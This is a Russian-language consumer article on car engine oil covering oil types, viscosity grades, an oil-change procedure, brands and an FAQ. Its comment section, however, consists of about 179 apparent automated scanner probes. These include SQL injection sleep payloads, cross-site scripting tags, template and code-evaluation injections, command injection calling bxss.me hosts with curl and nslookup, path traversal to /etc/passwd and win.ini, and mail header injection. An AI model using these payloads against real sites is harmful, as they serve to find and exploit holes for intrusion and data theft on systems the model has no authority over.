Автомобильное масло: лучшие рекомендации и характеристики

Автомобильное масло: лучшие рекомендации и характеристики

Автомобильное масло играет важную роль в работе двигателя, обеспечивая смазку и охлаждение его деталей. Выбор качественного автомобильного масла может значительно продлить срок службы двигателя и улучшить его производительность. В этой статье мы рассмотрим различные виды автомобильных масел, их характеристики и рекомендации по применению.

Виды автомобильных масел: минеральные, полусинтетические и синтетические

Существует три основных вида автомобильных масел: минеральные, полусинтетические и синтетические. Каждый из них имеет свои особенности и предназначение. Подробнее рассмотрим каждый вид масла.

Минеральные масла: основные характеристики и применение

Минеральные масла производятся из нефти и содержат в своем составе различные присадки. Они обладают низкой стоимостью и обеспечивают надежную смазку двигателя при нормальных условиях эксплуатации. Минеральные масла рекомендуются для автомобилей с высоким пробегом и старыми двигателями, а также для тех случаев, когда автомобиль используется в умеренных климатических условиях.

Однако минеральные масла имеют ряд недостатков, таких как низкая термостабильность и короткий срок службы. Из-за того что они образуют отложения на деталях двигателя, может возникать необходимость в более частой замене масла.

Полусинтетические масла: особенности и рекомендации

Полусинтетические масла представляют собой смесь минеральных и синтетических компонентов, которые обеспечивают более высокую термостабильность и улучшенные характеристики по сравнению с минеральными маслами.

Они применяются в автомобилях среднего возраста и в тех случаях, когда требуется компромисс между производительностью и стоимостью масла. Полусинтетические масла хорошо подходят для автомобилей, эксплуатируемых в сложных условиях: при высоких или низких температурах, при частых коротких поездках и тяжелой нагрузке на двигатель.

Рекомендуется использовать полусинтетические масла в двигателях с пробегом до 100 000 км. Такие масла обеспечивают надежную смазку и защиту от износа, а также улучшают топливную экономику автомобиля. Однако стоит учесть, что полусинтетические масла имеют более короткий срок службы по сравнению с синтетическими.

Синтетические масла: преимущества и области применения

Синтетические масла изготавливаются на основе синтетических базовых масел, что обеспечивает им высокую термостабильность, отличную текучесть при низких температурах и меньший расход масла. Эти масла обладают максимальной эффективностью и предназначены для использования в современных высокотехнологичных двигателях.

Преимуществами синтетических масел являются:

Улучшенная смазка и защита двигателя от износа;

Продление срока службы двигателя;

Улучшение топливной экономики;

Отсутствие отложений на деталях двигателя;

Удлиненный интервал между заменами масла.

Синтетические масла рекомендуются для автомобилей с пробегом до 100 000 км, а также для спортивных автомобилей и техники, эксплуатируемой в экстремальных условиях.

Важно отметить, что выбор масла должен опираться на рекомендации производителя автомобиля и соответствовать спецификации, указанным в инструкции по эксплуатации. Не стоит экономить на качестве масла, поскольку это может негативно сказаться на работе и сроке службы двигателя.

Сравнение различных типов автомобильных масел позволяет определить наиболее подходящий вариант для конкретного автомобиля и условий эксплуатации. Важно также учитывать климатические условия региона, в котором эксплуатируется автомобиль, так как это может оказывать влияние на выбор оптимального масла.

В заключение, выбор автомобильного масла зависит от множества факторов, таких как тип двигателя, пробег, климатические условия и предпочтения водителя. Надеемся, что данная статья поможет вам сделать осознанный выбор и найти оптимальное масло для своего автомобиля, обеспечивая его надежную работу и долгий срок службы.

Теперь, когда вы знакомы с основными характеристиками и рекомендациями по применению различных видов автомобильных масел, вы сможете принять взвешенное решение и выбрать масло, которое лучше всего подходит для вашего автомобиля и его эксплуатационных условий. Обращайте внимание на качество масла, его характеристики и совместимость с вашим автомобилем, чтобы обеспечить максимальную производительность и защиту двигателя.

Выбор автомобильного масла по вязкости

Вязкость автомобильного масла играет ключевую роль в обеспечении эффективной смазки и защиты двигателя. Правильный выбор масла по вязкости поможет обеспечить оптимальную работу двигателя и продлить его срок службы. В этом разделе мы рассмотрим обозначения и классификацию вязкости масла, а также SAE и API классификации.

Обозначения и классификация вязкости масла

Вязкость масла – это его способность течь и сопротивляться деформации при нагрузке. Важно выбирать масло с подходящей вязкостью, чтобы оно могло обеспечить эффективную смазку двигателя при разных температурах и условиях эксплуатации.

Вязкость масла классифицируется по международным стандартам, таким как SAE (Society of Automotive Engineers) и API (American Petroleum Institute). Рассмотрим эти классификации подробнее.

SAE и API классификации

SAE классификация масел определяет их вязкость и разделяет их на две категории: одноградные и многоградные.

Одноградные масла имеют стабильную вязкость при определенных температурах и обозначаются одним числом (например, SAE 30 или SAE 40). Они используются реже из-за их ограниченного диапазона температурных условий работы.

Многоградные масла обеспечивают широкий диапазон температур и обозначаются двумя числами, разделенными буквой "W" (например, SAE 5W-30 или SAE 10W-40). Первое число указывает на вязкость масла при низких температурах, а второе – при высоких. Многоградные масла являются более универсальными и подходят для большинства автомобилей.

API классификация определяет качество и производительность масла. Она состоит из двух букв: первая буква указывает на тип двигателя (дизельный или бензиновый), а вторая – на уровень производительности

Замена автомобильного масла: когда и как

Замена автомобильного масла является важным аспектом обслуживания автомобиля, который обеспечивает его надежную работу и продлевает срок службы двигателя. В этом разделе мы рассмотрим определение оптимального интервала замены масла, пробег и состояние двигателя, а также предоставим пошаговую инструкцию по замене автомобильного масла и рекомендации по замене масляного фильтра.

Определение оптимального интервала замены масла

Определение оптимального интервала замены масла зависит от множества факторов, таких как тип масла, состояние двигателя, пробег автомобиля и его эксплуатационные условия.

Пробег и состояние двигателя

Как правило, интервал замены масла для минеральных масел составляет 5 000 – 7 500 км, для полусинтетических – 7 500 – 10 000 км, а для синтетических – 10 000 – 15 000 км. Однако, рекомендации производителя автомобиля могут отличаться, поэтому следует обращаться к инструкции по эксплуатации автомобиля для точных данных.

Состояние двигателя также влияет на интервал замены масла. С возрастом автомобиля и увеличением пробега, двигатель становится менее эффективным, и масло теряет свои свойства быстрее. В таких случаях, замена масла может потребоваться чаще.

Пошаговая инструкция по замене автомобильного масла

Подготовка: выберите подходящее автомобильное масло и масляный фильтр, а также подготовьте необходимые инструменты и аксессуары (ключи, лоток для слива масла, перчатки, тряпки).

Поднять автомобиль: используйте подходящее оборудование, такое как подставки или гидравлический домкрат, чтобы обеспечить безопасный доступ к днищу автомобиля.

Слить старое масло: наденьте перчатки, открутите сливной пробку и аккуратно слейте старое масло в подготовленный лоток. Обратите внимание на состояние сливной пробки и прокладки – при необходимости их следует заменить.

Замена масляного фильтра: открутите старый масляный фильтр, используя подходящий ключ или специальный инструмент. Очистите поверхность, на которую устанавливается фильтр, от масла и грязи.

Масляный фильтр: замена и рекомендации

Установка нового масляного фильтра: перед установкой, смажьте кольцевую прокладку нового фильтра небольшим количеством масла. Это обеспечит лучшее уплотнение и предотвратит протечки масла. Затем установите новый фильтр, вращая его руками до контакта с поверхностью, и затем дополнительно затяните на четверть оборота. Не затягивайте фильтр слишком сильно, чтобы избежать повреждений прокладки и корпуса фильтра.

Заливка нового масла: установите сливную пробку на свое место и затяните ее согласно рекомендациям производителя автомобиля. Откройте крышку масляного горловины и аккуратно залейте новое масло, используя мерный лейку или другой подходящий инструмент. Обратите внимание на рекомендуемый объем масла, указанный в инструкции по эксплуатации автомобиля.

Проверка уровня масла и утечек: после заливки масла, дайте ему некоторое время для стекания в масляный поддон. Затем проверьте уровень масла с помощью щупа и, при необходимости, долейте масло до рекомендуемого уровня. Заведите двигатель и дайте ему поработать несколько минут, затем проверьте наличие утечек масла около сливной пробки и масляного фильтра.

Утилизация старого масла: после замены масла, следует надлежащим образом утилизировать старое масло, сдав его в специализированный пункт приема или автосервис.

Популярные бренды автомобильных масел

Выбор автомобильного масла от надежного производителя имеет большое значение для эффективной работы и продолжительности службы двигателя. В этом разделе мы рассмотрим мировых лидеров производства автомобильных масел, таких как Мобил, Шелл, Кастрол и др., а также отзывы и рейтинги популярных брендов.

Мировые лидеры производства автомобильных масел

Крупнейшие производители автомобильных масел предлагают широкий ассортимент продукции, которая подходит для разных типов двигателей и условий эксплуатации.

Мобил, Шелл, Кастрол и др.

Мобил (Mobil) – один из ведущих мировых производителей автомобильных масел, предлагающий высококачественные синтетические, полусинтетические и минеральные масла для различных типов двигателей. Масла Mobil известны своей производительностью и долговечностью.

Шелл (Shell)

 – глобальный производитель моторных масел с более чем 100-летней историей. Шелл предлагает масла для легковых автомобилей, грузовиков, мотоциклов и сельскохозяйственной техники. Их продукция характеризуется высокой стабильностью и защитой двигателя от износа.

Кастрол (Castrol) – британская компания, специализирующаяся на производстве автомобильных масел и смазочных материалов. Кастрол предлагает широкий спектр масел для различных типов транспортных средств и условий эксплуатации, обеспечивая надежную защиту и оптимальную производительность двигателя.

Отзывы и рейтинги популярных брендов

Отзывы и рейтинги популярных брендов автомобильных масел являются полезным инструментом для потребителей, помогающим определиться с выбором масла для своего автомобиля. Отзывы пользователей и автомобильных экспертов позволяют оценить качество, эффективность и надежность масел от разных производителей.

Отзывы в интернете: поиск отзывов о продукции различных брендов может быть полезным для сравнения качества и характеристик масел. Форумы, блоги и специализированные сайты по автомобилям часто содержат мнения автомобилистов о том, как масло работает в реальных условиях эксплуатации.

Рейтинги экспертов: автомобильные журналы и сайты часто проводят сравнительные тесты и составляют рейтинги лучших автомобильных масел. Эти рейтинги основаны на тестах и анализе характеристик масел, таких как вязкость, устойчивость к окислению, защита от износа и температурный диапазон работы.

Рекомендации производителей автомобилей: многие автопроизводители указывают рекомендуемые бренды масел в инструкциях по эксплуатации своих автомобилей. Использование масел, одобренных производителем, может гарантировать совместимость масла с двигателем и повысить его эффективность.

При выборе автомобильного масла важно учитывать все эти факторы, а также собственные предпочтения и требования к маслу. Помимо известных мировых брендов, на рынке представлены множество других качественных производителей масел, поэтому рекомендуется ознакомиться с отзывами и рейтингами перед принятием окончательного решения.

Часто задаваемые вопросы о автомобильных маслах 

В этом разделе мы рассмотрим часто задаваемые вопросы о автомобильных маслах, такие как влияние масла на работу двигателя и расход топлива, смешивание масел разных типов и вязкостей, а также хранение и утилизация автомобильного масла.

Влияние масла на работу двигателя и расход топлива

Качественное автомобильное масло играет важную роль в работе двигателя, обеспечивая смазку, охлаждение, защиту от коррозии и очищение его внутренних деталей.

Экономия топлива и защита двигателя

Использование подходящего масла может повлиять на расход топлива автомобиля и продолжительность его службы. Масла с низким коэффициентом трения и оптимальной вязкостью обеспечивают лучшую смазку и снижают трение между двигательными деталями, что приводит к экономии топлива и меньшему износу двигателя.

Смешивание масел разных типов и вязкостей

Вопрос о смешивании масел разных типов и вязкостей часто вызывает сомнения у автовладельцев.

Рекомендации производителей и экспертов

В большинстве случаев производители автомобильных масел и автоэксперты советуют избегать смешивания масел разных типов и вязкостей, так как это может негативно повлиять на характеристики масла и его способность защищать двигатель. Однако, в экстренных ситуациях, когда нет возможности использовать именно то масло, которое рекомендовано производителем автомобиля, смешивание масел может быть временным решением, но после этого рекомендуется провести полную замену масла.

Хранение и утилизация автомобильного масла

Правильное хранение и утилизация автомобильного масла являются важными аспектами его эксплуатации, так как это влияет на качество масла и окружающую среду.

Срок годности масла и условия хранения

Срок годности автомобильного масла может варьироваться в зависимости от его типа, производителя и условий хранения. В среднем, масла могут сохранять свои свойства от 3 до 5 лет при правильном хранении. Для сохранения качества масла рекомендуется хранить его в герметично закрытой упаковке в прохладном, сухом и темном месте, вдали от источников тепла и прямых солнечных лучей.

При утилизации использованного автомобильного масла необходимо соблюдать экологические нормы и правила. Использованное масло содержит токсичные вещества и может нанести вред окружающей среде при неправильной утилизации. Сдавайте использованное масло на специализированные пункты приема, где его очистят и переработают для дальнейшего использования или безопасной утилизации.

Таким образом, выбор, использование и уход за автомобильным маслом важны для обеспечения надежной работы двигателя и его продолжительности службы. Изучение разных видов масел, их характеристик и рекомендаций производителей поможет вам сделать правильный выбор и гарантировать максимальную эффективность вашего автомобиля.

All comments

  1. NZOWnTTw'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

    1

  2. rQHIX8BA')) OR 272=(SELECT 272 FROM PG_SLEEP(15))--

    1

  3. FfSh1UeJ') OR 231=(SELECT 231 FROM PG_SLEEP(15))--

    1

  4. BCs3llt3' OR 654=(SELECT 654 FROM PG_SLEEP(15))--

    1

  5. RQxuL05y'; waitfor delay '0:0:15' --

    1

  6. 1 waitfor delay '0:0:15' --

    1

  7. (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

    1

  8. 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

    1

  9. 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

    1

  10. if(now()=sysdate(),sleep(15),0)

    1

  11. -1" OR 3+226-226-1=0+0+0+1 --

    1

  12. -1" OR 2+226-226-1=0+0+0+1 --

    1

  13. -1' OR 3+281-281-1=0+0+0+1 or 'KLjSsRHW'='

    1

  14. -1' OR 2+281-281-1=0+0+0+1 or 'KLjSsRHW'='

    1

  15. -1' OR 3+201-201-1=0+0+0+1 --

    1

  16. -1' OR 2+201-201-1=0+0+0+1 --

    1

  17. -1 OR 3+772-772-1=0+0+0+1

    1

  18. -1 OR 2+772-772-1=0+0+0+1

    1

  19. -1 OR 3+954-954-1=0+0+0+1 --

    1

  20. -1 OR 2+954-954-1=0+0+0+1 --

    1

  21. NZOWnTTw}body{zzz:Expre/**/SSion(6Nxg(9039))}

    1

  22. NZOWnTTw

    1}body{zzz:Expre/**/SSion(KNQc(9994))}

  23. NZOWnTTw<ScRiPt>6Nxg(9821)</sCripT>

    1

  24. NZOWnTTw\u003CScRiPt\6Nxg(9341)\u003C/sCripT\u003E

    1

  25. %4E%5A%4F%57%6E%54%54%77%3C%53%63%52%69%50%74%20%3E%36%4E%78%67%289074%29%3C%2F%73%43%72%69%70%54%3E

    1

  26. NZOWnTTw

    1<ScRiPt>KNQc(9241)</sCripT>

  27. NZOWnTTw

    1\u003CScRiPt\KNQc(9817)\u003C/sCripT\u003E

  28. NZOWnTTw

    %31%3C%53%63%52%69%50%74%20%3E%4B%4E%51%63%289974%29%3C%2F%73%43%72%69%70%54%3E

  29. NZOWnTTw

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  30. NZOWnTTw

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  31. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  32. dfb__${98991*97996}__::.x

    1

  33. NZOWnTTw

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  34. NZOWnTTw

    dfb__${98991*97996}__::.x

  35. NZOWnTTw

    dfb[[${98991*97996}]]xca

  36. NZOWnTTw

    dfb{{98991*97996}}xca

  37. NZOWnTTw

    1}}"}}'}}1%>"%>'%>

  38. bfgx3892??z1??z2a?bcxhjl3892

    1

  39. bfg9034<s1﹥s2ʺs3ʹhjl9034

    1

  40. NZOWnTTw

    bfgx7604??z1??z2a?bcxhjl7604

  41. NZOWnTTw

    bfg7397<s1﹥s2ʺs3ʹhjl7397

  42. NZOWnTTw

    Lrrb9TrA')) OR 976=(SELECT 976 FROM PG_SLEEP(15))--

  43. NZOWnTTw

    g9cykRnz') OR 264=(SELECT 264 FROM PG_SLEEP(15))--

  44. NZOWnTTw

    oncoYrk7' OR 440=(SELECT 440 FROM PG_SLEEP(15))--

  45. NZOWnTTw

    -1)) OR 675=(SELECT 675 FROM PG_SLEEP(15))--

  46. NZOWnTTw

    -5) OR 112=(SELECT 112 FROM PG_SLEEP(15))--

  47. NZOWnTTw

    -5 OR 851=(SELECT 851 FROM PG_SLEEP(15))--

  48. NZOWnTTw}body{zzz:Expre/**/SSion(uq0c(9382))}

    1

  49. NZOWnTTw

    1}body{zzz:Expre/**/SSion(fUTm(9013))}

  50. NZOWnTTw<ScRiPt>uq0c(9005)</sCripT>

    1

  51. NZOWnTTw\u003CScRiPt\uq0c(9093)\u003C/sCripT\u003E

    1

  52. NZOWnTTw

    1<ScRiPt>fUTm(9643)</sCripT>

  53. %4E%5A%4F%57%6E%54%54%77%3C%53%63%52%69%50%74%20%3E%75%71%30%63%289169%29%3C%2F%73%43%72%69%70%54%3E

    1

  54. NZOWnTTw

    1\u003CScRiPt\fUTm(9441)\u003C/sCripT\u003E

  55. NZOWnTTw

    zNoB0PW4'; waitfor delay '0:0:15' --

  56. NZOWnTTw

    %31%3C%53%63%52%69%50%74%20%3E%66%55%54%6D%289337%29%3C%2F%73%43%72%69%70%54%3E

  57. NZOWnTTw

    1 waitfor delay '0:0:15' --

  58. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  59. dfb__${98991*97996}__::.x

    1

  60. NZOWnTTw

    -1); waitfor delay '0:0:15' --

  61. NZOWnTTw

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  62. NZOWnTTw

    dfb__${98991*97996}__::.x

  63. NZOWnTTw

    dfb[[${98991*97996}]]xca

  64. NZOWnTTw

    dfb{{98991*97996}}xca

  65. NZOWnTTw

    1}}"}}'}}1%>"%>'%>

  66. NZOWnTTw

    -1; waitfor delay '0:0:15' --

  67. bfgx10315??z1??z2a?bcxhjl10315

    1

  68. NZOWnTTw

    bfgx3894??z1??z2a?bcxhjl3894

  69. bfg6921<s1﹥s2ʺs3ʹhjl6921

    1

  70. NZOWnTTw

    bfg6097<s1﹥s2ʺs3ʹhjl6097

  71. NZOWnTTw

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  72. NZOWnTTw

    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  73. "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

    1

  74. NZOWnTTw

    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  75. dfb__${98991*97996}__::.x

    1

  76. bfgx6119??z1??z2a?bcxhjl6119

    1

  77. bfg7022<s1﹥s2ʺs3ʹhjl7022

    1

  78. NZOWnTTw

    if(now()=sysdate(),sleep(15),0)

  79. NZOWnTTw

    -1" OR 3+20-20-1=0+0+0+1 --

  80. NZOWnTTw

    -1" OR 2+20-20-1=0+0+0+1 --

  81. NZOWnTTw

    -1' OR 3+90-90-1=0+0+0+1 or 'XazrM1F8'='

  82. NZOWnTTw

    -1' OR 2+90-90-1=0+0+0+1 or 'XazrM1F8'='

  83. NZOWnTTw

    -1' OR 3+464-464-1=0+0+0+1 --

  84. NZOWnTTw

    -1' OR 2+464-464-1=0+0+0+1 --

  85. NZOWnTTw

    -1 OR 3+585-585-1=0+0+0+1

  86. NZOWnTTw

    -1 OR 2+585-585-1=0+0+0+1

  87. NZOWnTTw

    -1 OR 3+572-572-1=0+0+0+1 --

  88. NZOWnTTw

    -1 OR 2+572-572-1=0+0+0+1 --

  89. ;(nslookup -q=cname hitencjjzerss00e42.bxss.me||curl hitencjjzerss00e42.bxss.me)|(nslookup -q=cname hitencjjzerss00e42.bxss.me||curl hitencjjzerss00e42.bxss.me)&(nslookup -q=cname hitencjjzerss00e42.bxss.me||curl hitencjjzerss00e42.bxss.me)

    1

  90. `(nslookup -q=cname hitejnojoifsg31c67.bxss.me||curl hitejnojoifsg31c67.bxss.me)`

    1

  91. |(nslookup -q=cname hitrblxnjwiumc1aeb.bxss.me||curl hitrblxnjwiumc1aeb.bxss.me)

    1

  92. &(nslookup -q=cname hitdcamjergqo49ffe.bxss.me||curl hitdcamjergqo49ffe.bxss.me)&'\"`0&(nslookup -q=cname hitdcamjergqo49ffe.bxss.me||curl hitdcamjergqo49ffe.bxss.me)&`'

    1

  93. NZOWnTTw

    "dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

  94. &nslookup -q=cname hitkstzmzcjdjecfc1.bxss.me&'\"`0&nslookup -q=cname hitkstzmzcjdjecfc1.bxss.me&`'

    1

  95. NZOWnTTw

    dfb__${98991*97996}__::.x

  96. $(nslookup -q=cname hitevpcoscedi06d81.bxss.me||curl hitevpcoscedi06d81.bxss.me)

    1

  97. NZOWnTTw

    dfb[[${98991*97996}]]xca

  98. (nslookup -q=cname hitmhaeiitnzr23292.bxss.me||curl hitmhaeiitnzr23292.bxss.me))

    1

  99. NZOWnTTw

    dfb{{98991*97996}}xca

  100. NZOWnTTw|echo nfplic$()\ rqgbwr\nz^xyu||a #' |echo nfplic$()\ rqgbwr\nz^xyu||a #|" |echo nfplic$()\ rqgbwr\nz^xyu||a #

    1

  101. NZOWnTTw

    1}}"}}'}}1%>"%>'%>

  102. |echo rglkkc$()\ bxgswq\nz^xyu||a #' |echo rglkkc$()\ bxgswq\nz^xyu||a #|" |echo rglkkc$()\ bxgswq\nz^xyu||a #

    1

  103. NZOWnTTw&echo jmugtj$()\ bmvcqy\nz^xyu||a #' &echo jmugtj$()\ bmvcqy\nz^xyu||a #|" &echo jmugtj$()\ bmvcqy\nz^xyu||a #

    1

  104. &echo iokgou$()\ qmbnfh\nz^xyu||a #' &echo iokgou$()\ qmbnfh\nz^xyu||a #|" &echo iokgou$()\ qmbnfh\nz^xyu||a #

    1

  105. /\xfs.bxss.me?top1autovaruosad.ee

    1

  106. NZOWnTTw

    bfgx6072??z1??z2a?bcxhjl6072

  107. echo twsact$()\ yxsnmb\nz^xyu||a #' &echo twsact$()\ yxsnmb\nz^xyu||a #|" &echo twsact$()\ yxsnmb\nz^xyu||a #

    1

  108. //xfs.bxss.me?top1autovaruosad.ee

    1

  109. NZOWnTTw

    bfg2574<s1﹥s2ʺs3ʹhjl2574

  110. xfs.bxss.me?top1autovaruosad.ee

    1

  111. http://xfs.bxss.me?top1autovaruosad.ee

    1

  112. ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

    1

  113. '+'A'.concat(70-3).concat(22*4).concat(100).concat(81).concat(117).concat(67)+(require'socket' Socket.gethostbyname('hitrh'+'csioexgad6f29.bxss.me.')[3].to_s)+'

    1

  114. "+"A".concat(70-3).concat(22*4).concat(113).concat(88).concat(117).concat(65)+(require"socket" Socket.gethostbyname("hitvc"+"yvasxylb3763a.bxss.me.")[3].to_s)+"

    1

  115. NZOWnTTw"||sleep(27*1000)*dexqnd||"

    1

  116. NZOWnTTw

    /\xfs.bxss.me?top1autovaruosad.ee

  117. NZOWnTTw'||sleep(27*1000)*uedjdn||'

    1

  118. HttP://bxss.me/t/xss.html?%00

    1

  119. NZOWnTTw

    //xfs.bxss.me?top1autovaruosad.ee

  120. NZOWnTTw"&&sleep(27*1000)*pkphem&&"

    1

  121. NZOWnTTw

    xfs.bxss.me?top1autovaruosad.ee

  122. http://bxss.me/t/fit.txt?.jpg

    1

  123. NZOWnTTw'&&sleep(27*1000)*qwpmll&&'

    1

  124. NZOWnTTw

    http://xfs.bxss.me?top1autovaruosad.ee

  125. to@example.com> bcc:0.2402-48054.2402.51f10.19681.2@bxss.me

    1

  126. NZOWnTTw bcc:0.2402-48053.2402.51f10.19681.2@bxss.me

    1

  127. 1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

    1

  128. NZOWnTTw

    '+'A'.concat(70-3).concat(22*4).concat(100).concat(87).concat(110).concat(80)+(require'socket' Socket.gethostbyname('hitqu'+'jgfgrkea80e59.bxss.me.')[3].to_s)+'

  129. http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

    1

  130. NZOWnTTw

    "+"A".concat(70-3).concat(22*4).concat(118).concat(86).concat(110).concat(76)+(require"socket" Socket.gethostbyname("hitel"+"qkynxmskf40c8.bxss.me.")[3].to_s)+"

  131. NZOWnTTw

    bxss.me/t/xss.html?%00

  132. NZOWnTTw

    HttP://bxss.me/t/xss.html?%00

  133. NZOWnTTw

    to@example.com> bcc:0.2402-48046.2402.51f10.19681.2@bxss.me

  134. NZOWnTTw

    1 bcc:0.2402-48045.2402.51f10.19681.2@bxss.me

  135. NZOWnTTw

    '.print(md5(31337)).'

  136. ".gethostbyname(lc("hitva"."tdaaelbe7d234.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(89).chr(117).chr(87)."

    1

  137. NZOWnTTw

    ${@print(md5(31337))}\

  138. '.gethostbyname(lc('hityj'.'tlanyfof777de.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(68).chr(120).chr(87).'

    1

  139. NZOWnTTw

    ${@print(md5(31337))}

  140. NZOWnTTw

    ";print(md5(31337));$a="

  141. NZOWnTTw

    ';print(md5(31337));$a='

  142. NZOWnTTw

    1"||sleep(27*1000)*qqaujg||"

  143. NZOWnTTw

    ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

  144. NZOWnTTw

    1'||sleep(27*1000)*qqdjyz||'

  145. NZOWnTTw

    1"&&sleep(27*1000)*basero&&"

  146. NZOWnTTw

    1'&&sleep(27*1000)*kvkptz&&'

  147. NZOWnTTw

    ".gethostbyname(lc("hitxl"."jtzdywwycdfc7.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(69).chr(122).chr(73)."

  148. ../../../../../../../../../../../../../../windows/win.ini

    1

  149. NZOWnTTw

    ^(#$!@#$)(()))******

  150. NZOWnTTw

    '.gethostbyname(lc('hitem'.'cybujtso0451f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(86).chr(121).chr(79).'

  151. ../../../../../../../../../../../../../../etc/passwd

    1

  152. NZOWnTTw

    c:/windows/win.ini

  153. NZOWnTTw

    ;(nslookup -q=cname hitzhdgyqfmvle481d.bxss.me||curl hitzhdgyqfmvle481d.bxss.me)|(nslookup -q=cname hitzhdgyqfmvle481d.bxss.me||curl hitzhdgyqfmvle481d.bxss.me)&(nslookup -q=cname hitzhdgyqfmvle481d.bxss.me||curl hitzhdgyqfmvle481d.bxss.me)

  154. NZOWnTTw

    `(nslookup -q=cname hitrhlvhooxynaa743.bxss.me||curl hitrhlvhooxynaa743.bxss.me)`

  155. NZOWnTTw

    http://bxss.me/t/fit.txt?.jpg

  156. NZOWnTTw

    |(nslookup -q=cname hitbuvehmgsnt56ac2.bxss.me||curl hitbuvehmgsnt56ac2.bxss.me)

  157. NZOWnTTw

    Http://bxss.me/t/fit.txt

  158. NZOWnTTw

    &(nslookup -q=cname hitulschpsyzm78100.bxss.me||curl hitulschpsyzm78100.bxss.me)&'\"`0&(nslookup -q=cname hitulschpsyzm78100.bxss.me||curl hitulschpsyzm78100.bxss.me)&`'

  159. NZOWnTTw

    1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

  160. NZOWnTTw

    ${9999462+9999850}

  161. NZOWnTTw

    http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

  162. NZOWnTTw

    &nslookup -q=cname hitocsxfspmiv6a30d.bxss.me&'\"`0&nslookup -q=cname hitocsxfspmiv6a30d.bxss.me&`'

  163. NZOWnTTw

    12345'"\'\");|]*{ ?''?

  164. NZOWnTTw

    $(nslookup -q=cname hitwqbpmfnbnke57ef.bxss.me||curl hitwqbpmfnbnke57ef.bxss.me)

  165. NZOWnTTw

    (nslookup -q=cname hitnoweedtbgh4fef6.bxss.me||curl hitnoweedtbgh4fef6.bxss.me))

  166. NZOWnTTw

    1|echo opvojw$()\ eaioxe\nz^xyu||a #' |echo opvojw$()\ eaioxe\nz^xyu||a #|" |echo opvojw$()\ eaioxe\nz^xyu||a #

  167. "+response.write(9352039*9641629)+"

    1

  168. NZOWnTTw

    |echo dwtkpn$()\ rvmekv\nz^xyu||a #' |echo dwtkpn$()\ rvmekv\nz^xyu||a #|" |echo dwtkpn$()\ rvmekv\nz^xyu||a #

  169. '+response.write(9352039*9641629)+'

    1

  170. NZOWnTTw

    1&echo yjskar$()\ exmdwk\nz^xyu||a #' &echo yjskar$()\ exmdwk\nz^xyu||a #|" &echo yjskar$()\ exmdwk\nz^xyu||a #

  171. response.write(9352039*9641629)

    1

  172. NZOWnTTw

    &echo bprtfd$()\ ivoapu\nz^xyu||a #' &echo bprtfd$()\ ivoapu\nz^xyu||a #|" &echo bprtfd$()\ ivoapu\nz^xyu||a #

  173. NZOWnTTw

    echo kcoplo$()\ rqvzrm\nz^xyu||a #' &echo kcoplo$()\ rqvzrm\nz^xyu||a #|" &echo kcoplo$()\ rqvzrm\nz^xyu||a #

  174. NZOWnTTw

    file:///etc/passwd

  175. NZOWnTTw

    ../../../../../../../../../../../../../../windows/win.ini

  176. NZOWnTTw

    ../../../../../../../../../../../../../../etc/passwd

  177. NZOWnTTw

    "+response.write(9572261*9668036)+"

  178. NZOWnTTw

    '+response.write(9572261*9668036)+'

  179. NZOWnTTw

    response.write(9572261*9668036)

Leave a Reply

Новостная рассылка

Присоединяйтесь, чтобы получить купоны на скидки и спецпредложения

Product added to compare.